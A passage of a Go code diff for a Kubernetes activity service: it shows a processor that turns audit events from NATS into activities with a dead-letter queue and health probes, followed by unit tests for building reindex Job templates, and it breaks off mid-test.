Enabled: p.config.DLQEnabled, + StreamName: p.config.DLQStreamName, + SubjectPrefix: p.config.DLQSubjectPrefix, + } + if dlqConfig.Enabled { + // Verify DLQ stream exists + _, err = js.StreamInfo(dlqConfig.StreamName) + if err != nil { + klog.V(1).InfoS("DLQ stream not found, dead-letter queue will be disabled", + "stream", dlqConfig.StreamName, + "error", err, + ) + dlqConfig.Enabled = false + } + } + p.dlqPublisher = processor.NewDLQPublisher(js, dlqConfig) + if dlqConfig.Enabled { + klog.InfoS("Dead-letter queue enabled", + "stream", dlqConfig.StreamName, + "subjectPrefix", dlqConfig.SubjectPrefix, + ) + } + + // Initialize DLQ retry controller + if p.config.DLQRetryEnabled && dlqConfig.Enabled { + retryConfig := DLQRetryConfig{ + Enabled: p.config.DLQRetryEnabled, + Interval: p.config.DLQRetryInterval, + BatchSize: p.config.DLQRetryBatchSize, + BackoffBase: p.config.DLQRetryBackoffBase, + BackoffMultiplier: p.config.DLQRetryBackoffMultiplier, + BackoffMax: p.config.DLQRetryBackoffMax, + AlertThreshold: p.config.DLQRetryAlertThreshold, + AuditRetrySubject: p.config.DLQRetryAuditSubject, + EventRetrySubject: p.config.DLQRetryEventSubject, + } + p.dlqRetryController = NewDLQRetryController( + js, + retryConfig, + p.config.NATSStreamName, + p.config.NATSEventStream, + dlqConfig.StreamName, + dlqConfig.SubjectPrefix, + ) + + p.wg.Add(1) + go func() { + defer p.wg.Done() + if err := p.dlqRetryController.Start(ctx); err != nil { + klog.ErrorS(err, "DLQ retry controller failed") + } + }() + klog.InfoS("DLQ retry controller started", + "interval", retryConfig.Interval, + "batchSize", retryConfig.BatchSize, + ) + } + + klog.InfoS("Activity processor starting", + "stream", p.config.NATSStreamName, + "consumer", p.config.ConsumerName, + "outputStream", p.config.OutputStreamName, + "workers", p.config.Workers, + ) + + // Start audit event workers + workerErrors := make(chan error, p.config.Workers) + for i := 0; i < p.config.Workers; i++ { + p.wg.Add(1) + go p.worker(ctx, i, workerErrors) + } + go p.monitorWorkers(ctx, workerErrors) + + // Check that event stream consumer exists + _, err = js.ConsumerInfo(p.config.NATSEventStream, p.config.NATSEventConsumer) + if err != nil { + klog.V(1).InfoS("Event consumer not found, event processing will be disabled", + "stream", p.config.NATSEventStream, + "consumer", p.config.NATSEventConsumer, + "error", err, + ) + } else { + // Start event processor + p.eventProcessor = processor.NewEventProcessor( + p.js, + p.config.NATSEventStream, + p.config.NATSEventConsumer, + p.config.OutputSubjectPrefix, + p.policyCache, // PolicyCache implements EventPolicyLookup + p.config.Workers, + p.config.BatchSize, + p.dlqPublisher, + ) + p.wg.Add(1) + go func() { + defer p.wg.Done() + if err := p.eventProcessor.Run(ctx); err != nil { + klog.ErrorS(err, "Event processor failed") + } + }() + klog.InfoS("Event processor started", + "stream", p.config.NATSEventStream, + "consumer", p.config.NATSEventConsumer, + ) + } + + // Mark as ready and healthy now that everything is initialized + p.setReady(true) + + return nil +} + +// drainTimeout is the maximum time to wait for NATS connection to drain. +const drainTimeout = 30 * time.Second + +// Stop gracefully shuts down the processor. +func (p *Processor) Stop() { + klog.Info("Stopping activity processor") + + // Mark as unhealthy immediately + p.setReady(false) + + p.cancel() + p.wg.Wait() + + // Shutdown health server + if p.healthServer != nil { + shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + if err := p.healthServer.Shutdown(shutdownCtx); err != nil { + klog.ErrorS(err, "Failed to shutdown health server gracefully") + } + } + + // Drain NATS connection gracefully + if p.nc != nil && !p.nc.IsClosed() { + klog.Info("Draining NATS connection") + done := make(chan struct{}) + go func() { + if err := p.nc.Drain(); err != nil { + klog.ErrorS(err, "Failed to drain NATS connection, forcing close") + p.nc.Close() + } + close(done) + }() + + select { + case <-done: + klog.Info("NATS connection drained successfully") + case <-time.After(drainTimeout): + klog.Warning("NATS drain timed out, forcing close") + p.nc.Close() + } + } + klog.Info("Activity processor stopped") +} + +// monitorWorkers monitors worker health and logs errors. +func (p *Processor) monitorWorkers(ctx context.Context, workerErrors <-chan error) { + for { + select { + case <-ctx.Done(): + return + case err := <-workerErrors: + if err != nil { + klog.ErrorS(err, "Worker reported error") + } + } + } +} + +// kindToResource converts a Kind to its plural resource name using API discovery. +func (p *Processor) kindToResource(apiGroup, kind string) (string, error) { + return processor.NewResourceResolver(p.mapper)(apiGroup, kind) +} + +// resourceToKind converts a plural resource name to its Kind using API discovery. +func (p *Processor) resourceToKind(apiGroup, resource string) (string, error) { + return processor.NewKindResolver(p.mapper)(apiGroup, resource) +} + +func (p *Processor) onPolicyAdd(obj any) { + policy, ok := obj.(*v1alpha1.ActivityPolicy) + if !ok { + klog.Error("Failed to cast object to ActivityPolicy in add handler") + return + } + + if !isPolicyReady(policy) { + klog.V(2).InfoS("Skipping policy that is not ready", + "policy", policy.Name, + ) + return + } + + // Convert Kind to resource (plural) to match audit event ObjectRef format. + resource, err := p.kindToResource(policy.Spec.Resource.APIGroup, policy.Spec.Resource.Kind) + if err != nil { + klog.ErrorS(err, "Failed to resolve resource for policy, skipping", + "policy", policy.Name, + "apiGroup", policy.Spec.Resource.APIGroup, + "kind", policy.Spec.Resource.Kind, + ) + return + } + + if err := p.policyCache.Add(policy, resource); err != nil { + klog.ErrorS(err, "Failed to compile and add policy", + "policy", policy.Name, + ) + return + } + + policyCount.Set(float64(p.policyCache.Len())) + + klog.InfoS("Added ActivityPolicy", + "policy", policy.Name, + "kind", policy.Spec.Resource.Kind, + "resource", resource, + ) +} + +func (p *Processor) onPolicyUpdate(oldObj, newObj any) { + oldPolicy, ok := oldObj.(*v1alpha1.ActivityPolicy) + if !ok { + klog.Error("Failed to cast old object to ActivityPolicy in update handler") + return + } + newPolicy, ok := newObj.(*v1alpha1.ActivityPolicy) + if !ok { + klog.Error("Failed to cast new object to ActivityPolicy in update handler") + return + } + + wasReady := isPolicyReady(oldPolicy) + isReady := isPolicyReady(newPolicy) + + oldResource, oldErr := p.kindToResource(oldPolicy.Spec.Resource.APIGroup, oldPolicy.Spec.Resource.Kind) + newResource, newErr := p.kindToResource(newPolicy.Spec.Resource.APIGroup, newPolicy.Spec.Resource.Kind) + + if oldErr != nil && wasReady { + klog.ErrorS(oldErr, "Failed to resolve old resource for policy update", + "policy", oldPolicy.Name, + "apiGroup", oldPolicy.Spec.Resource.APIGroup, + "kind", oldPolicy.Spec.Resource.Kind, + ) + } + if newErr != nil && isReady { + klog.ErrorS(newErr, "Failed to resolve new resource for policy update", + "policy", newPolicy.Name, + "apiGroup", newPolicy.Spec.Resource.APIGroup, + "kind", newPolicy.Spec.Resource.Kind, + ) + return + } + + // Remove old policy if it was ready + if wasReady && oldErr == nil { + p.policyCache.Remove(oldPolicy, oldResource) + } + + // Add new policy if it's ready + if isReady { + if err := p.policyCache.Add(newPolicy, newResource); err != nil { + klog.ErrorS(err, "Failed to compile and add updated policy", + "policy", newPolicy.Name, + ) + } else { + klog.InfoS("Updated ActivityPolicy", + "policy", newPolicy.Name, + "resource", policyKey(newPolicy.Spec.Resource.APIGroup, newResource), + "wasReady", wasReady, + "isReady", isReady, + ) + + // Trigger DLQ retry for events that failed on this policy + // Check context before spawning to avoid races during shutdown + if p.dlqRetryController != nil { + select { + case <-p.ctx.Done(): + // Processor is shutting down, don't start new retries + default: + go p.dlqRetryController.RetryForPolicy(p.ctx, newPolicy) + } + } + } + } else if wasReady { + klog.InfoS("ActivityPolicy no longer ready, removed from processing", + "policy", newPolicy.Name, + ) + } + + policyCount.Set(float64(p.policyCache.Len())) +} + +func (p *Processor) onPolicyDelete(obj any) { + policy, ok := obj.(*v1alpha1.ActivityPolicy) + if !ok { + // Informer may pass a tombstone when the object was deleted while disconnected. + tombstone, ok := obj.(toolscache.DeletedFinalStateUnknown) + if !ok { + klog.Error("Failed to cast object in delete handler") + return + } + policy, ok = tombstone.Obj.(*v1alpha1.ActivityPolicy) + if !ok { + klog.Error("Failed to cast tombstone object to ActivityPolicy") + return + } + } + + resource, err := p.kindToResource(policy.Spec.Resource.APIGroup, policy.Spec.Resource.Kind) + if err != nil { + klog.ErrorS(err, "Failed to resolve resource for policy delete", + "policy", policy.Name, + "apiGroup", policy.Spec.Resource.APIGroup, + "kind", policy.Spec.Resource.Kind, + ) + return + } + + p.policyCache.Remove(policy, resource) + policyCount.Set(float64(p.policyCache.Len())) + + klog.InfoS("Deleted ActivityPolicy", + "policy", policy.Name, + "resource", policyKey(policy.Spec.Resource.APIGroup, resource), + ) +} + +func (p *Processor) worker(ctx context.Context, id int, errors chan<- error) { + defer p.wg.Done() + defer workerCount.Dec() + + workerCount.Inc() + + sub, err := p.js.PullSubscribe( + "audit.k8s.>", + p.config.ConsumerName, + nats.Bind(p.config.NATSStreamName, p.config.ConsumerName), + ) + if err != nil { + klog.ErrorS(err, "Failed to create pull subscription", "worker", id) + errors <- fmt.Errorf("worker %d: failed to create subscription: %w", id, err) + return + } + defer sub.Unsubscribe() + + klog.V(2).InfoS("Worker started", "worker", id) + + for { + select { + case <-ctx.Done(): + klog.V(2).InfoS("Worker stopping", "worker", id) + return + default: + } + + msgs, err := sub.Fetch(p.config.BatchSize, nats.MaxWait(5*time.Second)) + if err != nil { + if err == nats.ErrTimeout { + continue + } + klog.ErrorS(err, "Failed to fetch messages", "worker", id) + continue + } + + for _, msg := range msgs { + if err := p.processMessage(msg); err != nil { + klog.ErrorS(err, "Failed to process message", "worker", id) + msg.Nak() + continue + } + msg.Ack() + } + } +} + +func (p *Processor) processMessage(msg *nats.Msg) error { + // Keep raw payload for DLQ in case of failure + rawPayload := json.RawMessage(msg.Data) + + var audit auditv1.Event + if err := json.Unmarshal(msg.Data, &audit); err != nil { + eventsErrored.WithLabelValues("audit_log", "unmarshal").Inc() + // Publish to DLQ - unmarshal errors are unrecoverable + // Tenant is nil since we couldn't unmarshal the event + if dlqErr := p.dlqPublisher.PublishAuditFailure( + p.ctx, rawPayload, "", 0, -1, processor.ErrorTypeUnmarshal, err, nil, nil, + ); dlqErr != nil { + klog.ErrorS(dlqErr, "Failed to publish to DLQ") + return fmt.Errorf("failed to unmarshal audit event: %w", err) + } + // Successfully published to DLQ, message can be ACKed + return nil + } + + // Extract tenant info early for DLQ context + activityTenant := processor.ExtractTenant(audit.User) + dlqTenant := processor.NewDeadLetterTenantFromActivity(activityTenant.Type, activityTenant.Name) + + if audit.ObjectRef == nil { + eventsSkipped.WithLabelValues("audit_log", "no_object_ref").Inc() + return nil + } + + apiGroup := audit.ObjectRef.APIGroup + if apiGroup == "" { + apiGroup = "core" + } + eventsReceived.WithLabelValues("audit_log", apiGroup, audit.ObjectRef.Resource).Inc() + + // Get compiled policies for this resource + policies := p.policyCache.Get(audit.ObjectRef.APIGroup, audit.ObjectRef.Resource) + if len(policies) == 0 { + eventsSkipped.WithLabelValues("audit_log", "no_matching_policy").Inc() + return nil + } + + // Convert audit event to map for CEL evaluation + auditMap, err := auditToMap(&audit) + if err != nil { + eventsErrored.WithLabelValues("audit_log", "unmarshal").Inc() + // Publish to DLQ - auditToMap errors are unrecoverable + dlqResource := &processor.DeadLetterResource{ + APIGroup: audit.ObjectRef.APIGroup, + Kind: "", // Can't resolve kind without the map + Name: audit.ObjectRef.Name, + Namespace: audit.ObjectRef.Namespace, + } + // Try to resolve kind for better DLQ context + if kind, kindErr := p.resourceToKind(audit.ObjectRef.APIGroup, audit.ObjectRef.Resource); kindErr == nil { + dlqResource.Kind = kind + } + if dlqErr := p.dlqPublisher.PublishAuditFailure( + p.ctx, rawPayload, "", 0, -1, processor.ErrorTypeUnmarshal, err, dlqResource, dlqTenant, + ); dlqErr != nil { + klog.ErrorS(dlqErr, "Failed to publish to DLQ") + return fmt.Errorf("failed to convert audit to map: %w", err) + } + return nil + } + + // Build resource info for DLQ context with proper kind resolution + dlqResource := &processor.DeadLetterResource{ + APIGroup: audit.ObjectRef.APIGroup, + Kind: "", // Will be set from policy or resolved dynamically + Name: audit.ObjectRef.Name, + Namespace: audit.ObjectRef.Namespace, + } + // Pre-resolve kind for DLQ context (best effort, will be overwritten by policy.Kind when available) + if kind, kindErr := p.resourceToKind(audit.ObjectRef.APIGroup, audit.ObjectRef.Resource); kindErr == nil { + dlqResource.Kind = kind + } + + // First matching policy wins. + for _, policy := range policies { + policyStart := time.Now() + + // Use policy's Kind for DLQ context (more accurate than resolved kind) + dlqResource.Kind = policy.Kind + + // Evaluate audit rules using pre-compiled programs + activity, ruleIndex, err := p.evaluateCompiledAuditRules(policy, auditMap, &audit) + if err != nil { + // Serialize audit event for debugging + eventJSON, _ := json.Marshal(auditMap) + + klog.ErrorS(err, "Failed to evaluate policy", + "policy", policy.Name, + "auditID", audit.AuditID, + "eventJSON", truncateString(string(eventJSON), 4096), + ) + + // Emit Kubernetes Warning event + p.eventEmitter.EmitEvaluationError(p.ctx, policy.Name, ruleIndex, err) + + // Classify error type for DLQ using sentinel errors + errorType := processor.ErrorTypeCELMatch + if ruleIndex >= 0 { + // If we have a rule index, check if it's a kind resolution or summary error + if errors.Is(err, processor.ErrKindResolution) { + errorType = processor.ErrorTypeKindResolve + } else if errors.Is(err, processor.ErrActivityBuild) { + errorType = processor.ErrorTypeKindResolve // Activity build errors are typically kind resolution + } else { + errorType = processor.ErrorTypeCELSummary + } + } + + // Publish to DLQ + policyVersion := int64(0) + if policy.OriginalPolicy != nil { + policyVersion = policy.OriginalPolicy.Generation + } + if dlqErr := p.dlqPublisher.PublishAuditFailure( + p.ctx, rawPayload, policy.Name, policyVersion, ruleIndex, errorType, err, dlqResource, dlqTenant, + ); dlqErr != nil { + klog.ErrorS(dlqErr, "Failed to publish to DLQ, NAKing message") + eventsErrored.WithLabelValues("audit_log", "evaluate").Inc() + eventsEvaluated.WithLabelValues( + "audit_log", + policy.Name, + policy.APIGroup, + policy.Kind, + "error", + ).Inc() + eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) + // Return error to NAK the message so it gets redelivered + return fmt.Errorf("failed to evaluate policy and publish to DLQ: %w", dlqErr) + } + + // Successfully published to DLQ, continue to next policy (message will be ACKed) + eventsErrored.WithLabelValues("audit_log", "evaluate").Inc() + eventsEvaluated.WithLabelValues( + "audit_log", + policy.Name, + policy.APIGroup, + policy.Kind, + "error", + ).Inc() + eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) + continue + } + + ruleMatched := activity != nil + eventsEvaluated.WithLabelValues( + "audit_log", + policy.Name, + policy.APIGroup, + policy.Kind, + fmt.Sprintf("%t", ruleMatched), + ).Inc() + + if !ruleMatched { + eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) + continue + } + + if err := p.publishActivity(activity, policy); err != nil { + eventsErrored.WithLabelValues("audit_log", "publish").Inc() + eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) + return fmt.Errorf("failed to publish activity: %w", err) + } + + klog.V(4).InfoS("Generated activity", + "activity", activity.Name, + "policy", policy.Name, + "ruleIndex", ruleIndex, + "auditID", audit.AuditID, + ) + + eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) + return nil + } + + return nil +} + +// evaluateCompiledAuditRules evaluates audit rules using pre-compiled CEL programs. +func (p *Processor) evaluateCompiledAuditRules(policy *CompiledPolicy, auditMap map[string]any, audit *auditv1.Event) (*v1alpha1.Activity, int, error) { + return EvaluateCompiledAuditRules(policy, auditMap, audit, p.resourceToKind) +} + +// auditToMap converts an audit event to a map for CEL evaluation. +func auditToMap(audit *auditv1.Event) (map[string]any, error) { + data, err := json.Marshal(audit) + if err != nil { + return nil, err + } + var m map[string]any + if err := json.Unmarshal(data, &m); err != nil { + return nil, err + } + return m, nil +} + +func (p *Processor) publishActivity(activity *v1alpha1.Activity, policy *CompiledPolicy) error { + data, err := json.Marshal(activity) + if err != nil { + return fmt.Errorf("failed to marshal activity: %w", err) + } + + subject := p.buildActivitySubject(activity) + + // Activity name is unique per audit event, enabling NATS deduplication. + publishStart := time.Now() + _, err = p.js.Publish(subject, data, nats.MsgId(activity.Name)) + natsPublishLatency.Observe(time.Since(publishStart).Seconds()) + if err != nil { + return fmt.Errorf("failed to publish to NATS: %w", err) + } + + natsMessagesPublished.Inc() + activitiesGenerated.WithLabelValues( + policy.Name, + policy.APIGroup, + policy.Kind, + ).Inc() + return nil +} + +// buildActivitySubject returns the NATS subject for routing activities. +// Format: ....... +func (p *Processor) buildActivitySubject(activity *v1alpha1.Activity) string { + prefix := p.config.OutputSubjectPrefix + + tenantType := activity.Spec.Tenant.Type + if tenantType == "" { + tenantType = "platform" + } + tenantName := activity.Spec.Tenant.Name + if tenantName == "" { + tenantName = "_" + } + + apiGroup := activity.Spec.Resource.APIGroup + if apiGroup == "" { + apiGroup = "core" + } + + origin := activity.Spec.Origin.Type + kind := activity.Spec.Resource.Kind + namespace := activity.Spec.Resource.Namespace + if namespace == "" { + namespace = "_" + } + name := activity.Name + + return fmt.Sprintf("%s.%s.%s.%s.%s.%s.%s.%s", + prefix, tenantType, tenantName, apiGroup, origin, kind, namespace, name) +} + +func policyKey(apiGroup, kindOrResource string) string { + return fmt.Sprintf("%s/%s", apiGroup, kindOrResource) +} + +func isPolicyReady(policy *v1alpha1.ActivityPolicy) bool { + return meta.IsStatusConditionTrue(policy.Status.Conditions, "Ready") +} + +// setReady sets the ready status. +func (p *Processor) setReady(ready bool) { + p.healthMu.Lock() + defer p.healthMu.Unlock() + p.ready = ready +} + +// isReady returns true if the processor is ready to serve traffic. +func (p *Processor) isReady() bool { + p.healthMu.RLock() + defer p.healthMu.RUnlock() + return p.ready +} + +// startHealthServer starts the HTTP health probe server using controller-runtime healthz. +func (p *Processor) startHealthServer() { + mux := http.NewServeMux() + + // Liveness probe - checks if the processor is alive and NATS is connected + mux.Handle("/healthz", http.StripPrefix("/healthz", &healthz.Handler{ + Checks: map[string]healthz.Checker{ + "ping": healthz.Ping, + "nats": p.natsHealthChecker(), + }, + })) + + // Readiness probe - checks if the processor is ready to receive traffic + mux.Handle("/readyz", http.StripPrefix("/readyz", &healthz.Handler{ + Checks: map[string]healthz.Checker{ + "ping": healthz.Ping, + "nats": p.natsHealthChecker(), + "cache-synced": p.cacheSyncedChecker(), + "policies-ready": p.policiesReadyChecker(), + }, + })) + + // Metrics endpoint for Prometheus scraping + mux.Handle("/metrics", promhttp.HandlerFor(metrics.Registry, promhttp.HandlerOpts{})) + + p.healthServer = &http.Server{ + Addr: p.config.HealthProbeAddr, + Handler: mux, + } + + p.wg.Add(1) + go func() { + defer p.wg.Done() + klog.InfoS("Starting health probe server", "addr", p.config.HealthProbeAddr) + if err := p.healthServer.ListenAndServe(); err != nil && err != http.ErrServerClosed { + klog.ErrorS(err, "Health probe server error") + } + }() +} + +// natsHealthChecker returns a health checker for NATS connection status. +func (p *Processor) natsHealthChecker() healthz.Checker { + return func(req *http.Request) error { + if p.nc == nil { + return fmt.Errorf("NATS connection not initialized") + } + if !p.nc.IsConnected() { + return fmt.Errorf("NATS connection is disconnected") + } + return nil + } +} + +// cacheSyncedChecker returns a health checker for cache sync status. +func (p *Processor) cacheSyncedChecker() healthz.Checker { + return func(req *http.Request) error { + if !p.isReady() { + return fmt.Errorf("cache not synced") + } + return nil + } +} + +// policiesReadyChecker returns a health checker that verifies policies are loaded. +func (p *Processor) policiesReadyChecker() healthz.Checker { + return func(req *http.Request) error { + // This is a soft check - we allow the processor to be ready even with no policies + // as policies may be added later. We just verify the cache is initialized. + if p.policyCache == nil { + return fmt.Errorf("policy cache not initialized") + } + return nil + } +} + +// buildNATSTLSConfig creates a TLS configuration for NATS connections. +func (p *Processor) buildNATSTLSConfig() (*tls.Config, error) { + tlsConfig := &tls.Config{ + MinVersion: tls.VersionTLS12, + } + + // Load client certificate and key if provided (for mTLS) + if p.config.NATSTLSCertFile != "" && p.config.NATSTLSKeyFile != "" { + cert, err := tls.LoadX509KeyPair(p.config.NATSTLSCertFile, p.config.NATSTLSKeyFile) + if err != nil { + return nil, fmt.Errorf("failed to load NATS client certificate: %w", err) + } + tlsConfig.Certificates = []tls.Certificate{cert} + klog.V(2).InfoS("Loaded NATS client certificate", + "certFile", p.config.NATSTLSCertFile, + "keyFile", p.config.NATSTLSKeyFile, + ) + } + + // Load CA certificate if provided for server verification + if p.config.NATSTLSCAFile != "" { + caCert, err := os.ReadFile(p.config.NATSTLSCAFile) + if err != nil { + return nil, fmt.Errorf("failed to read NATS CA certificate: %w", err) + } + caCertPool := x509.NewCertPool() + if !caCertPool.AppendCertsFromPEM(caCert) { + return nil, fmt.Errorf("failed to parse NATS CA certificate") + } + tlsConfig.RootCAs = caCertPool + klog.V(2).InfoS("Loaded NATS CA certificate", "caFile", p.config.NATSTLSCAFile) + } + + return tlsConfig, nil +} diff --git a/internal/controller/jobtemplate_test.go b/internal/controller/jobtemplate_test.go index 1bf34341..965f2d54 100644 --- a/internal/controller/jobtemplate_test.go +++ b/internal/controller/jobtemplate_test.go @@ -1,399 +1,399 @@ -package controller - -import ( - "context" - "testing" - - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" - corev1 "k8s.io/api/core/v1" - "k8s.io/apimachinery/pkg/api/resource" - metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" - "k8s.io/apimachinery/pkg/runtime" - "k8s.io/utils/ptr" - "sigs.k8s.io/controller-runtime/pkg/client/fake" -) - -func TestLoadJobTemplate(t *testing.T) { - t.Parallel() - - scheme := runtime.NewScheme() - require.NoError(t, corev1.AddToScheme(scheme)) - - t.Run("loads valid template", func(t *testing.T) { - cm := &corev1.ConfigMap{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-template", - Namespace: "activity-system", - }, - Data: map[string]string{ - "template.yaml": ` -spec: - serviceAccountName: custom-sa - volumes: - - name: kubeconfig - secret: - secretName: kubeconfig-secret - containers: - - name: reindex - args: - - --kubeconfig=/etc/kubernetes/kubeconfig - volumeMounts: - - name: kubeconfig - mountPath: /etc/kubernetes - readOnly: true -`, - }, - } - - fakeClient := fake.NewClientBuilder(). - WithScheme(scheme). - WithObjects(cm). - Build() - - template, err := LoadJobTemplate(context.Background(), fakeClient, "activity-system", "test-template") - require.NoError(t, err) - assert.Equal(t, "custom-sa", template.Spec.ServiceAccountName) - require.Len(t, template.Spec.Volumes, 1) - assert.Equal(t, "kubeconfig", template.Spec.Volumes[0].Name) - require.Len(t, template.Spec.Containers, 1) - assert.Equal(t, "reindex", template.Spec.Containers[0].Name) - }) - - t.Run("error when ConfigMap not found", func(t *testing.T) { - fakeClient := fake.NewClientBuilder(). - WithScheme(scheme). - Build() - - _, err := LoadJobTemplate(context.Background(), fakeClient, "activity-system", "nonexistent") - require.Error(t, err) - assert.Contains(t, err.Error(), "failed to get job template ConfigMap") - }) - - t.Run("error when template.yaml key missing", func(t *testing.T) { - cm := &corev1.ConfigMap{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-template", - Namespace: "activity-system", - }, - Data: map[string]string{ - "other-key": "some data", - }, - } - - fakeClient := fake.NewClientBuilder(). - WithScheme(scheme). - WithObjects(cm). - Build() - - _, err := LoadJobTemplate(context.Background(), fakeClient, "activity-system", "test-template") - require.Error(t, err) - assert.Contains(t, err.Error(), "does not contain key") - }) - - t.Run("error when template is invalid YAML", func(t *testing.T) { - cm := &corev1.ConfigMap{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-template", - Namespace: "activity-system", - }, - Data: map[string]string{ - "template.yaml": "not: valid: yaml: [", - }, - } - - fakeClient := fake.NewClientBuilder(). - WithScheme(scheme). - WithObjects(cm). - Build() - - _, err := LoadJobTemplate(context.Background(), fakeClient, "activity-system", "test-template") - require.Error(t, err) - assert.Contains(t, err.Error(), "failed to parse job template") - }) -} - -func TestDefaultJobTemplate(t *testing.T) { - t.Parallel() - - template := DefaultJobTemplate() - - // Verify restart policy - assert.Equal(t, corev1.RestartPolicyOnFailure, template.Spec.RestartPolicy) - - // Verify security context - require.NotNil(t, template.Spec.SecurityContext) - assert.Equal(t, ptr.To(true), template.Spec.SecurityContext.RunAsNonRoot) - assert.Equal(t, ptr.To(int64(65532)), template.Spec.SecurityContext.RunAsUser) - - // Verify container - require.Len(t, template.Spec.Containers, 1) - assert.Equal(t, ReindexContainerName, template.Spec.Containers[0].Name) -} - -func TestMergeJobTemplate(t *testing.T) { - t.Parallel() - - t.Run("basic merge with default template", func(t *testing.T) { - template := DefaultJobTemplate() - opts := JobBuildOptions{ - ReindexJobName: "test-reindex", - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ControllerArgs: []string{"reindex-worker", "test-reindex", "--nats-url=nats://localhost:4222"}, - } - - job := MergeJobTemplate(template, opts) - - // Verify Job metadata - assert.Equal(t, "test-reindex-job", job.Name) - assert.Equal(t, "activity-system", job.Namespace) - assert.Equal(t, "activity-reindex", job.Labels["app"]) - assert.Equal(t, "test-reindex", job.Labels["reindex.activity.miloapis.com/job"]) - - // Verify Job spec - assert.Equal(t, ptr.To(int32(3)), job.Spec.BackoffLimit) - assert.Equal(t, ptr.To(int32(300)), job.Spec.TTLSecondsAfterFinished) - - // Verify container - require.Len(t, job.Spec.Template.Spec.Containers, 1) - container := job.Spec.Template.Spec.Containers[0] - assert.Equal(t, "reindex", container.Name) - assert.Equal(t, "ghcr.io/datum-cloud/activity:test", container.Image) - assert.Equal(t, []string{"reindex-worker", "test-reindex", "--nats-url=nats://localhost:4222"}, container.Args) - }) - - t.Run("merge with template args prepended", func(t *testing.T) { - template := &corev1.PodTemplateSpec{ - Spec: corev1.PodSpec{ - Containers: []corev1.Container{ - { - Name: "reindex", - Args: []string{"--kubeconfig=/etc/kubernetes/kubeconfig"}, - }, - }, - }, - } - - opts := JobBuildOptions{ - ReindexJobName: "test-reindex", - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ControllerArgs: []string{"reindex-worker", "test-reindex", "--nats-url=nats://localhost:4222"}, - } - - job := MergeJobTemplate(template, opts) - - container := job.Spec.Template.Spec.Containers[0] - // Template args come first, controller args appended - expectedArgs := []string{ - "--kubeconfig=/etc/kubernetes/kubeconfig", - "reindex-worker", - "test-reindex", - "--nats-url=nats://localhost:4222", - } - assert.Equal(t, expectedArgs, container.Args) - }) - - t.Run("preserves template volumes and mounts", func(t *testing.T) { - template := &corev1.PodTemplateSpec{ - Spec: corev1.PodSpec{ - Volumes: []corev1.Volume{ - { - Name: "kubeconfig", - VolumeSource: corev1.VolumeSource{ - CSI: &corev1.CSIVolumeSource{ - Driver: "cert-manager.io/csi", - }, - }, - }, - }, - Containers: []corev1.Container{ - { - Name: "reindex", - VolumeMounts: []corev1.VolumeMount{ - { - Name: "kubeconfig", - MountPath: "/etc/kubernetes", - ReadOnly: true, - }, - }, - }, - }, - }, - } - - opts := JobBuildOptions{ - ReindexJobName: "test-reindex", - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ControllerArgs: []string{"reindex-worker", "test-reindex"}, - } - - job := MergeJobTemplate(template, opts) - - // Verify volumes are preserved - require.Len(t, job.Spec.Template.Spec.Volumes, 1) - assert.Equal(t, "kubeconfig", job.Spec.Template.Spec.Volumes[0].Name) - assert.NotNil(t, job.Spec.Template.Spec.Volumes[0].CSI) - - // Verify volume mounts are preserved - container := job.Spec.Template.Spec.Containers[0] - require.Len(t, container.VolumeMounts, 1) - assert.Equal(t, "kubeconfig", container.VolumeMounts[0].Name) - assert.Equal(t, "/etc/kubernetes", container.VolumeMounts[0].MountPath) - }) - - t.Run("merges resource requirements", func(t *testing.T) { - template := &corev1.PodTemplateSpec{ - Spec: corev1.PodSpec{ - Containers: []corev1.Container{ - { - Name: "reindex", - Resources: corev1.ResourceRequirements{ - Requests: corev1.ResourceList{ - corev1.ResourceCPU: resource.MustParse("100m"), - }, - }, - }, - }, - }, - } - - opts := JobBuildOptions{ - ReindexJobName: "test-reindex", - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ControllerArgs: []string{"reindex-worker", "test-reindex"}, - ResourceRequirements: corev1.ResourceRequirements{ - Limits: corev1.ResourceList{ - corev1.ResourceMemory: resource.MustParse("2Gi"), - }, - Requests: corev1.ResourceList{ - corev1.ResourceMemory: resource.MustParse("2Gi"), - }, - }, - } - - job := MergeJobTemplate(template, opts) - - container := job.Spec.Template.Spec.Containers[0] - // Controller resources are merged (take precedence) - assert.Equal(t, resource.MustParse("2Gi"), container.Resources.Limits[corev1.ResourceMemory]) - assert.Equal(t, resource.MustParse("2Gi"), container.Resources.Requests[corev1.ResourceMemory]) - // Template CPU request is also present - assert.Equal(t, resource.MustParse("100m"), container.Resources.Requests[corev1.ResourceCPU]) - }) - - t.Run("sets service account from options", func(t *testing.T) { - template := &corev1.PodTemplateSpec{ - Spec: corev1.PodSpec{ - ServiceAccountName: "template-sa", - Containers: []corev1.Container{ - {Name: "reindex"}, - }, - }, - } - - opts := JobBuildOptions{ - ReindexJobName: "test-reindex", - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ControllerArgs: []string{"reindex-worker", "test-reindex"}, - ServiceAccountName: "controller-sa", - } - - job := MergeJobTemplate(template, opts) - - // Controller service account takes precedence - assert.Equal(t, "controller-sa", job.Spec.Template.Spec.ServiceAccountName) - }) - - t.Run("uses template service account when not set in options", func(t *testing.T) { - template := &corev1.PodTemplateSpec{ - Spec: corev1.PodSpec{ - ServiceAccountName: "template-sa", - Containers: []corev1.Container{ - {Name: "reindex"}, - }, - }, - } - - opts := JobBuildOptions{ - ReindexJobName: "test-reindex", - JobNamespace: "activity-system", - ActivityImage: 